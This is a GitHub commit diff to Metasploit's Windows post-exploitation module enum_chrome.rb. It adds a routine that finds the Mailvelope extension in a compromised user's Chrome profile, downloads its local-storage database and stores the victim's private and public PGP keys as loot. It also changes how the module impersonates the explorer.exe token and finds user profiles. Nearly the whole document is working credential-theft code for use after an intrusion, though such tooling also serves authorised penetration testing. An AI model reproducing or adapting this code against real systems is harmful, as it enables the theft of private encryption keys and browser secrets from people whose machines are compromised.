Skip to content

Commit 2504aa4

Browse files
committed
Land rapid7#1812, mailvelope chrome extension key grabber
2 parents 649a882 + 5123b91 commit 2504aa4

File tree

1 file changed

+87
-26
lines changed

1 file changed

+87
-26
lines changed

modules/post/windows/gather/enum_chrome.rb

Lines changed: 87 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,8 @@ def initialize(info={})
2929
[
3030
'Sven Taute', #Original (Meterpreter script)
3131
'sinn3r', #Metasploit post module
32-
'Kx499' #x64 support
32+
'Kx499', #x64 support
33+
'mubix' #Parse extensions
3334
]
3435
))
3536

@@ -39,6 +40,68 @@ def initialize(info={})
3940
], self.class)
4041
end
4142

43+
def extension_mailvelope_parse_key(data)
44+
return data.gsub("\x00","").tr("[]","").gsub("\\r","").gsub("\"","").gsub("\\n","\n")
45+
end
46+
47+
def extension_mailvelope_store_key(name, value)
48+
return unless name =~ /(private|public)keys/i
49+
50+
priv_or_pub = $1
51+
52+
keys = value.split(",")
53+
print_good("==> Found #{keys.size} #{priv_or_pub} key(s)!")
54+
keys.each do |key|
55+
key_data = extension_mailvelope_parse_key(key)
56+
vprint_good(key_data)
57+
path = store_loot(
58+
"chrome.mailvelope.#{priv_or_pub}", "text/plain", session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key")
59+
print_status("==> Saving #{priv_or_pub} key to: #{path}")
60+
end
61+
end
62+
63+
def extension_mailvelope(username, extname)
64+
chrome_path = @profiles_path + "\\" + username + @data_path
65+
maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"
66+
if file_exist?(maildb_path) == false
67+
print_error("==> Mailvelope database not found")
68+
return
69+
end
70+
print_status("==> Downloading Mailvelope database...")
71+
local_path = store_loot("chrome.ext.mailvelope", "text/plain", session, "chrome_ext_mailvelope")
72+
session.fs.file.download_file(local_path, maildb_path)
73+
print_status("==> Downloaded to #{local_path}")
74+
75+
maildb = SQLite3::Database.new(local_path)
76+
columns, *rows = maildb.execute2("select * from ItemTable;")
77+
maildb.close
78+
79+
rows.each do |name, value|
80+
extension_mailvelope_store_key(name, value)
81+
end
82+
end
83+
84+
85+
86+
def parse_prefs(username, filepath)
87+
f = File.open(filepath, 'rb')
88+
until f.eof
89+
prefs = f.read
90+
end
91+
results = ActiveSupport::JSON.decode(prefs)
92+
print_status("Extensions installed: ")
93+
results['extensions']['settings'].each do |name,values|
94+
if values['manifest']
95+
print_status("=> #{values['manifest']['name']}")
96+
if values['manifest']['name'] =~ /mailvelope/i
97+
print_good("==> Found Mailvelope extension, extracting PGP keys")
98+
extension_mailvelope(username, name)
99+
end
100+
end
101+
end
102+
end
103+
104+
42105
def decrypt_data(data)
43106
rg = session.railgun
44107
pid = session.sys.process.open.pid
@@ -77,6 +140,10 @@ def process_files(username)
77140
)
78141

79142
@chrome_files.each do |item|
143+
if item[:in_file] == "Preferences"
144+
parse_prefs(username, item[:raw_file])
145+
end
146+
80147
next if item[:sql] == nil
81148
next if item[:raw_file] == nil
82149

@@ -122,9 +189,7 @@ def extract_data(username)
122189
remote_path = chrome_path + '\\' + f
123190

124191
#Verify the path before downloading the file
125-
begin
126-
x = session.fs.file.stat(remote_path)
127-
rescue
192+
if file_exist?(remote_path) == false
128193
print_error("#{f} not found")
129194
next
130195
end
@@ -152,17 +217,12 @@ def steal_token
152217
current_pid = session.sys.process.open.pid
153218
target_pid = session.sys.process["explorer.exe"]
154219
return if target_pid == current_pid
155-
156-
if not session.incognito
157-
session.core.use("incognito")
158-
159-
if not session.incognito
160-
print_error("Unable to load incognito")
161-
return false
162-
end
220+
if target_pid.to_s.empty?
221+
print_warning("No explorer.exe process to impersonate.")
222+
return
163223
end
164224

165-
print_status("Impersonating token: #{target_pid.to_s}")
225+
print_status("Impersonating token: #{target_pid}")
166226
begin
167227
session.sys.config.steal_token(target_pid)
168228
return true
@@ -217,7 +277,6 @@ def run
217277
]
218278

219279
@old_pid = nil
220-
@host_info = session.sys.config.sysinfo
221280
migrate_success = false
222281

223282
# If we can impersonate a token, we use that first.
@@ -230,37 +289,39 @@ def run
230289
host = session.session_host
231290

232291
#Get Google Chrome user data path
233-
sysdrive = session.fs.file.expand_path("%SYSTEMDRIVE%")
234-
os = @host_info['OS']
235-
if os =~ /(Windows 7|2008|Vista)/
236-
@profiles_path = sysdrive + "\\Users\\"
292+
sysdrive = expand_path("%SYSTEMDRIVE%").strip
293+
if directory?("#{sysdrive}\\Users")
294+
@profiles_path = "#{sysdrive}/Users"
237295
@data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
238-
elsif os =~ /(2000|NET|XP)/
239-
@profiles_path = sysdrive + "\\Documents and Settings\\"
296+
elsif directory?("#{sysdrive}\\Documents and Settings")
297+
@profiles_path = "#{sysdrive}/Documents and Settings"
240298
@data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
241299
end
242300

243301
#Get user(s)
244302
usernames = []
245-
uid = session.sys.config.getuid
246303
if is_system?
247304
print_status("Running as SYSTEM, extracting user list...")
248-
print_error("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")")
305+
print_warning("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")")
249306
session.fs.dir.foreach(@profiles_path) do |u|
250-
usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
307+
not_actually_users = [
308+
".", "..", "All Users", "Default", "Default User", "Public", "desktop.ini",
309+
"LocalService", "NetworkService"
310+
]
311+
usernames << u unless not_actually_users.include?(u)
251312
end
252313
print_status "Users found: #{usernames.join(", ")}"
253314
else
315+
uid = session.sys.config.getuid
254316
print_status "Running as user '#{uid}'..."
255-
usernames << session.fs.file.expand_path("%USERNAME%")
317+
usernames << expand_path("%USERNAME%").strip
256318
end
257319

258-
259320
has_sqlite3 = true
260321
begin
261322
require 'sqlite3'
262323
rescue LoadError
263-
print_error("SQLite3 is not available, and we are not able to parse the database.")
324+
print_warning("SQLite3 is not available, and we are not able to parse the database.")
264325
has_sqlite3 = false
265326
end
266327

0 commit comments

Comments
 (0)